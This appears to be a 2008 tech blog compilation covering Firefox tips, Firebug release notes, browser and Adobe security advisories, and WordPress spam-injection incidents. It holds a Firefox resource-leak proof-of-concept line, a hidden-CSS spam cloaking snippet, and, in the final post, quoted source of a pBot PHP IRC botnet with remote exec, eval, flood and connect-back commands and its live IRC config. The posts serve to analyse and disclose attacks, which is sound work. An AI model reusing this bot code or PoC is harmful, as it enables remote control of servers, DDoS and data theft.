Do you like looking at the Google search (default homepage) every time you open your Firefox or do want Firefox to open all your favorites visited website when its start?.

Learn how to set Firefox to open multiple homepage on start-up with this few simple step.

1. Open Firefox goto Tools » Options (for *nix try Edit » Preferences )

   

2. Select the “Main” tab

3. On the Homepage option add your favorite website URL or Keywords. Separate the URLs with the pipe | characters like the below example ↓

    http://google.com|digg|delicious

   

4. Ok you are done the next time Firefox start it will load all the website.

Where do I add the keywords?

Keywords are special tag for URL shortcut, bookmarks manager (ctrl+b).

Might be interest

• Mozilla KB - Options Window

After 6 months waiting Firebug 1.2 is out.

Firebug 1.2x stable release support all major Firefox version (Firefox 2.0.0.14 > Firefox 3 RC but not recommended for Firefox 3.0b5) . Compatible with Latest Firefox 3 RC 1.

Download Firebug 1.2x

• Firebug 1.2x

Whats new in Firebug 1.2x

Latest version is more friendly and all suppose to be disabled behaviour is turn off by default. This new change will make sure that you wont have problem with high Ajax framework website (i.e., Google Gmail, Msn Live).

• Improve performance - most of the automate HTTP reporting is disabled by default ( for all site).
• Firebug Script and Net panels disabled by default.
• More accurate Net reporting and Faster Javascript Debugging.

Check out firebug 1.2 release notes,screenshot, bug fixes & improvement.

Firebug Screenshot

Firebug 1.2 on Firefox 3 RC1.

Firebug Console

Firebug Net Panel Disabled by Default

Firebug Net Panel Enabled

Firebug JIT Script Debugger

Firebug CSS Panel

Firebug HTML Panel

Firebug 1.2x Bug Fixes & Improvements

1. Issue 1: Reload external Firebug window while its tab is hidden closes the window
2. Issue 2: Can’t set breakpoints in code called by unload event
3. Issue 4: Visiting error page causes external Firebug window to close itself
4. Issue 7 Long URLs in XHR spy rows should be cropped
5. Issue 14: Programatically disable firebug log from Javascript
6. Issue 38: console.group should allow optional collapse
7. Issue 43: Edit CSS behaviour - appending styles to the dom is unexpected. Contribution by tonygentilcore
8. Issue 65 show HTTP Status code on NET response
9. Issue 183: Configurable maximum output size
10. Issue 186 Only one line in net monitor for multiple xhr post requests
11. Issue 202 Clicking status bar error warning closes firebug
12. Issue 215 Display total page load time
13. Issue 216 Improve network monitor to include server-side processing time
14. Issue 266 PUT & DELETE requests appear as POST requests in firebug
15. Issue 316 Show HTTP request method and request content in Firebugs “Net” tab
16. Issue 325 PUT operations do not show contained entity in Net tab
17. Issue 327 “Net” tab: lowercase b for bytes (instead of B)
18. Issue 331 XHR resolves relative URIs to resource:// protocol
19. Issue 346 Fix Net Panel timings
20. Issue 349 Local file XHR events not listed in console
21. Issue 359 No entry in the Net tab for XHR when response content length is 0
22. Issue 361: Edit button gets stuck when reloading page whilst editing CSS. Contribution by tonygentilcore
23. Issue 393: Text overlayed on text in script editor window.
24. Issue 401 Net tab does not consider “application/javascript” a JS MIME type
25. Issue 402 Net tab tries to show previews of non-images with image file extensions
26. Issue 404 UI change to help users activate expensive debugging features only when they need them.
27. Issue 405 The Net panel consumes a lot of memory if there is a lot of XHR activity without page reload.
28. Issue 414 XHR Breaks When Using Firebug 1.1 beta when > 1 HTTP 302 Redirect Is Returned
29. Issue 421 onLoad of XHRSpyListener does not fire correctly
30. Issue 430 about:blank pages always show firebug as enabled
31. Issue 468 [feature request] fast [enable -> inspect element -> disable] ergonomy
32. Issue 474: base href applied to scripts
33. Issue 475 Show Return Code (HTTP HEADER-Response)
34. Issue 503 disable doesn’t work properly
35. Issue 567: Slow script warning in debugger.js on some pages
36. Issue 573: setting css background-color affects layout inspector. Contribution by tonygentilcore
37. Issue 583 Javascript console cannot work with Firefox 3 beta5
38. issue 599, Firebug Inspect Outline Does Not Show Up Over Web Page Elements
39. Issue 601 XHR in console shows stale/cached output
40. Issue 618: HTML: tab order, fixed by setting order properties on side panels.
41. Issue 619: Reopening firebug results in grey DOM, Layout or Style Pane, fixed by forceUpdate on syncSidePanel.
42. Issue 634 XHR request details not showing up
43. Issue 637 $ FireBug function overwrites existing $ function
44. Issue 659: firebug.js:1473 - “this.context.browser is undefined”
45. Issue 676 Exception in firebug-cache.js when visiting http://www.takebacktheweb.org/CaE.html
46. Issue 679 Firebug 1.2.0a27X blocking most AJAX calls
47. Issue 690 New zh-CN local file for Firebug 1.2

External Links

• Firebug 1.2x Release Notes
• Firebug at Google Code
• Official Firebug Website
• YslowYSlow analyzes web pages and tells you why they’re slow based on the rules for high performance web sites. YSlow is a Firefox add-on integrated with the popular Firebug web development too

I’ve been monitoring mattheaton.com “wordpress.net.in goro spam injections” for this past few months. Noticeably, the blackhat spamming method is changing dramatically. For those who are still unaware of Wordpress Goro Spam please read my earlier post → Wordpress.net.in Spam injection& Gaming Bluehost & Hostmonster CEO’s Blog.

thinkingphp.org (PR6) & jensfrake.com (PR7) has been hijacked by “Wordpress Blackhat SEO Spammer” for this month. Both sites were running on WordPress 2.3.2.

By now the <div id=”goro”> signature has been replaced with “Inline CSS” wrapper.

Cloacking Check on Mattheaton.com

Normal Browser

32,246 characters - mattheaton-com-source.txt

Google bot

34,646 characters - mattheaton-com-googlebot-source.txt

Difference

2,400 characters

Cloacking Check on jensfrake.com & blog.jensfrake.com

Normal Browser

59,580 characters - blogjensfrakecom.txt

Google bot

59,699 characters - blogjensfrakecom-googlebot.txt

Difference

119 characters

While scanning jensfrake.com their server return 400-500 error, so we had to scan his (clone) subdomain blog.jensfrake.com instead of the main site

This time around, you wont see the spam on both of this website, all the spam links is position out of the client view-port (top -3337px, left -2227px).

another mathematical jokes, l33t.

<div style="left: -2227px; position: absolute; top: -3337px">

What’s new with Goro spam 2008

• WordPress <= 2.3.2 is vulnerable to this attack.
• Inject Spamlinks wrap with extra Inline CSS for cloacking
• Target High PR Sites → PR5 and above

Related Post

• Matt Heaton BlueHost HostMonster CEO’s Official Blog Hacked
• How to Removed Wordpress.net.in Spam Injection
• Matt Heaton Bluehost Hostmonster CEO Hacked Again - Strike II

External Links

• National Vulnerabilities Database (NVD) on Wordpress 2.0 > 2.0.5 vulnerabilities

Google Toolbar 5 (βeta) is out. You can download it at toolbar.google.com/T5/.

Whats New

• Custom Button and new Google Gadgets Support
• Smart suggestion for navigation error (ie: 400 - 500 error)
• Google Notebook Integration - save notes and image
• Improved Autofill

Check out the Google Toolbar 5 (beta) youtube videos ↓

Google Toolbar 5 (beta) New Features Screencast

External Links

• Google Toolbar 5 Beta Download Page
• Google Toolbar 5 beta Features List
• Google’s Blog → Google Toolbar: Take your tools with you
• Google Toolbar Help Center
• Google’s Matt Cutts → How 404 pages work in Google Toolbar Beta 5

We are going to see Firefox 2.0.0.13 probably by end of this week. Check out this directory transversal code using view-sources: & resource: scheme
view-source:resource:///
translate to file:///C:/Program%20Files/Mozilla%20Firefox/

You can read/include firefox pref settings with this code. <script src=”view-source:resource:///greprefs/all.js”></script>

Workaround

Install No-script Add-ons.

Credits

Ronald van den Heetkamp at 0×000000

External Links

• Firefox 2.0.0.12 Information Leak POC

A JavaScript Buffer Overflow in Adobe Acrobat, Acrobat 3D & Reader allowed remote attacker to execute arbitrary code. The code will run with the privileges of the target user opening the PDF document.

Excerpt from iDefense Public Advisory;

Adobe Reader and Acrobat implement a version of JavaScript in the EScript.api plug-in which is based on the reference implementation used in Mozilla products. One of the methods exposed allows direct control over low level features of the object, which in turn allows execution of arbitrary code.

Workaround

Disabled Adobe Reader & Acrobat JavaScript. Perform Update ↓

Update -Adobe Acrobat & Reader version 8.1.2

Adobe released version 8.1.2 of Adobe Reader, Acrobat & Acrobat 3D to address
these vulnerabilities.

• Adobe Reader 7 and 8 users update to Adobe Reader 8.1.2
• Acrobat 8 users on Windows update to Acrobat 8.1.2
• Acrobat 8 users on Macintosh update to Acrobat 8.1.2
• Acrobat 3D version 8 users on Windows update to Acrobat 3D version 8.1.2

These vulnerabilities were discovered by Greg MacManus of VeriSign iDefense Labs.

Related Posts

• How to safely remove AcroRd32Info.exe (Adobe Reader)

External Links

• Security update available for Adobe Reader and Acrobat 8 (APSA08-01)

Firefox 2.0.0.12 Security Update fixes 7 Vulnerability & 3 critical patch (memory corruption, JavaScript Engine Crashes).

Known Vulnerabilities in Mozilla Products (Firefox 2.0.0.11)

MFSA 2008-11

Web forgery overwrite with div overlay

Descriptions

Security researchers Emil Ljungdahl and Lars-Olof Moilanen demonstrated that, in cases where the entire contents of a page are enclosed in a <div> with absolute positioning, a web forgery warning dialog won’t be displayed unless the user switches tabs away-from then back-to the forgery page.

References

• Web forgery warning not shown until tab switch
• National Vulnerability Database (NVD) - CVE-2008-0594

MFSA 2008-10

URL token stealing via stylesheet redirect

Descriptions

Security researcher Martin Straka reported that Gecko-based browsers update the .href property of stylesheet DOM nodes to reflect the final URI of the stylesheet after following any 302 redirects (much as the document.location property is updated). This differs from other browsers and could potentially reveal sensitive URL parameters, such as those used by Single-signon sytems, to scripts on the page.

References

• Stylesheet href property shows redirected URL unlike other browsers
• National Vulnerability Database (NVD) - CVE-2008-0593

MFSA 2008-09

Mishandling of locally-saved plain text files

Descriptions

Mozilla contributor oo.rio.oo demonstrated that once a file with Content-Disposition: attachment and (improper) Content-Type: plain/text is saved locally, the browser would no longer open local files with .txt extensions for viewing, but would rather prompt the user to save the file.

References

• plain text txt file viewing capability lost after having downloaded a txt file with content-disposition: attachment and content-type: plain/text
• National Vulnerability Database (NVD) - CVE-2008-0592

MFSA 2008-08

File action dialog tampering

Descriptions

Security researcher Michal Zalewski demonstrated that timer-enabled security dialogs can be subverted by attackers using JavaScript to change the window focus. Zalewski showed that a user could be tricked into confirming a security dialog of this type by bringing the dialog back into focus right before a user clicked in a predictable time and place.

References

• file action dialog controls vulnerable to refocus race
• National Vulnerability Database (NVD) - CVE-2008-0591

MFSA 2008-06

Web browsing history and forward navigation stealing

Descriptions

Mozilla contributor David Bloom reported a vulnerability in the way images are treated by the browser when a user leaves a page which utilizes designMode frames. The reported issue can be used to steal a user’s navigation history, forward navigation information, and crash the user’s browser. The crash showed evidence of memory corruption and might be exploitable to run arbitrary code.

References

• Vulnerability allows script to see where user is headed, sniff history, and crash [@ nsDocShell::Destroy()] the browser too
• National Vulnerability Database (NVD) - CVE-2008-0419

MFSA 2008-05

Directory traversal via chrome: URI

Descriptions

Gerry Eisenhaur reported the chrome: URI scheme improperly allowed directory traversal that could be used to load JavaScript, images, and stylesheets from local files in known locations. This traversal was possible only when the browser had installed add-ons which used “flat” packaging rather than the more popular .jar packaging, and the attacker would need to target that specific add-on.

Mozilla researcher moz_bug_r_a4 reported that this vulnerability could be used to steal the contents of the browser’s sessionstore.js file, which contains session cookie data and information about currently open web pages.

References

• Allows to steal data from sessionstore.js
• chrome directory traversal (local disk access via “flat” addons)
• list of “flat” packaged add-ons
• National Vulnerability Database (NVD) - CVE-2008-0418

MFSA 2008-04

Stored password corruption

Descriptions

Mozilla developer Justin Dolske discovered that malicious sites, upon a user saving his or her password, could inject newlines into Firefox’s password store and corrupt saved passwords for other sites.

References

• Content can corrupt stored passwords by injecting line breaks
• National Vulnerability Database (NVD) - CVE-2008-0417

MFSA 2008-03

Privilege escalation, XSS, Remote Code Execution

Descriptions

Mozilla contributors moz_bug_r_a4 and Boris Zbarsky submitted a series of vulnerabilities which allow scripts from page content to escape from its sandboxed context and/or run with chrome privileges. An additional vulnerability reported by moz_bug_r_a4 demonstrated that the XMLDocument.load() function can be used to inject script into another site, violating the browser’s same-origin policy.

References

• List of JavaScript privilege escalation bugs
• National Vulnerability Database (NVD) - CVE-2008-0415

MFSA 2008-02

Multiple file input focus stealing vulnerabilities

Descriptions

Security researchers hong and Gregory Fleisher each reported a variant on earlier reported bugs regarding focus shifting in file input controls. Their variants used file input controls nested inside <label> tags to take advantage of automatic focus shifting into the file input field noted on the Hacker WebZine. As with the earlier reported issues this issue could be used to force a user to upload arbitrary files assuming the attacker knows the full path and name of the file.

These bugs are variations on earlier problems reported by Charles McAuley and Michal Zalewski which were fixed in Firefox 2.0.0.4, as well as an issue reported by hong which was fixed in Firefox 2.0.0.8.
Gregory Fleisher also submitted a series of demonstrations of different ways to lure a user to place focus into the file input control manually. These demonstrations included “focus spoofing” by selectively capturing keystrokes and placing the captured characters where the user thinks the focus should be.

References

• List of Focus shifting bugs
• National Vulnerability Database (NVD) - CVE-2008-0414

MFSA 2008-01

Crashes with evidence of memory corruption (rv:1.8.1.12)

Descriptions

Mozilla developers identified and fixed several stability bugs in the browser engine used in Firefox 2.0.0.12 and other Mozilla-based products. Some of these crashes showed evidence of memory corruption under certain circumstances and we presume that with enough effort at least some of these could be exploited to run arbitrary code.

Thunderbird shares the browser engine with Firefox and could be vulnerable if JavaScript were to be enabled in mail. This is not the default setting and we strongly discourage users from running JavaScript in mail. Without further investigation we cannot rule out the possibility that for some of these an attacker might be able to prepare memory for exploitation through some means other than JavaScript such as large images.

References

• List of JavaScript Engine Crashes
• National Vulnerability Database (NVD) - CVE-2008-0413
• List of Browser Crashes Bugs
• National Vulnerability Database (NVD) - CVE-2008-0412

Thunderbird Security Release

Thunderbird 2.0.0.12 is schedule to be release on February 28.

External Links

• Download Firefox 2.0.0.12

Popular Adobe Photoshop Brushes from deviantART resources for January 2008.

Photoshop Brushes

1. Floral Photoshop Brushes III - by GraphicIdentity License: Creative Commons Attribution-Noncommercial-Share Alike 3.0
2. AR - PS Brushes - Curls & Swirls - by AngelinaArt License: Angelina’s Resource TOC
3. Spray Paint High Res Splatter Brushes - by Jay K License: Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 License.
4. High Res Floral Brushes Pack - by Liudmila Metaeva License: Atenaispd’s TOC.
5. Tolkien’s Handwriting Brushes - by Amarië Vëannë License: Creative Commons Attribution-Noncommercial-Share Alike 3.0 License.
6. Light Streaks Abstract Brushes - by comicanton License: Creative Commons Attribution-Noncommercial-Share Alike 3.0 License.
7. Web 2.0 Effect Brushes - by by Adam Woodhouse License: Ardcor’s TOC Donationware

Notice: Do read the brush author TOC & Licenses, give credit where is due.

External Links

• deviantART Resources » Photoshop Brushes » Previous Month

Today’s we just upgrade from WordPress 2.3.2 to 2.3.3 security release. There is 21 attack (script injections) on blog.kakkoi.net from 3 known bot-herder scripts ↓. The first attacker is from 212.24.62.200 → udkado.ru masking their useragent as Googlebot (a real human?). The were playing with my 302.curie redirect page at blog.kakkoi.net/uri/. I send the attacker data to abuse network and IronPort.

The next few hours we received 20 attack from the same bot-herder. They probably has a large scale of DDNS (china → korea → us ). Noticeably the scans pattern is predictable. From our Feb 5th attack all these botnet is targeting certain search keywords security, injection so we setup a honey-pot right on that particular URL.

Hacking Attempts on Kakkoi

Sort by Injection type.

The Bot-herder Host

Part of class pBot source taken from http://basiclifesaving.org/mycomments/rom.txt

<? 

/*
 *
 * #crew@corp. since 2003
 * edited by: devil__ <admin@xdevil.org>
 *
 * COMMANDS:
 *
 * .user <password> //login to the bot
 * .logout //logout of the bot
 * .die //kill the bot
 * .restart //restart the bot
 * .mail <to> <from> <subject> <msg> //send an email
 * .dns <IP|HOST> //dns lookup
 * .download <URL> <filename> //download a file
 * .exec <cmd> // uses exec() //execute a command
 * .sexec <cmd> // uses shell_exec() //execute a command
 * .cmd <cmd> // uses popen() //execute a command
 * .info //get system information
 * .php <php code> // uses eval() //execute php code
 * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
 * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
 * .raw <cmd> //raw IRC command
 * .rndnick //change nickname
 * .pscan <host> <port> //port scan
 * .safe // test safe_mode (dvl)
 * .inbox <to> // test inbox (dvl)
 * .conback <ip> <port> // conect back (dvl)
 * .uname // return shell's uname using a php function (dvl)
 *
 */

set_time_limit(0);
error_reporting(0);
echo "Ok unlocker. We did i!";

class pBot
{
 var $config = array("server"=>"Bucharest.ro.eu.ultra-chat.org",
 "port"=>"6667",
 "pass"=>"n",
 "prefix"=>"[R]",
 "maxrand"=>"4",
 "chan"=>"#unlocker",
 "chan2"=>"#unlocker",
 "key"=>"n",
 "modes"=>"+p",
 "password"=>"n",
 "trigger"=>".",
 "hostauth"=>"Robert.users.ultra-chat.org" // * for any hostname (remember: /setvhost xdevil.org)
 );

Related Posts

• Daily Hacking Attempts on blog.kakkoi.net - Feb 5th, 2008
• Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan

External Links

• Wikipedia → Botnet
• Storm Botnet
• Dynamic DNS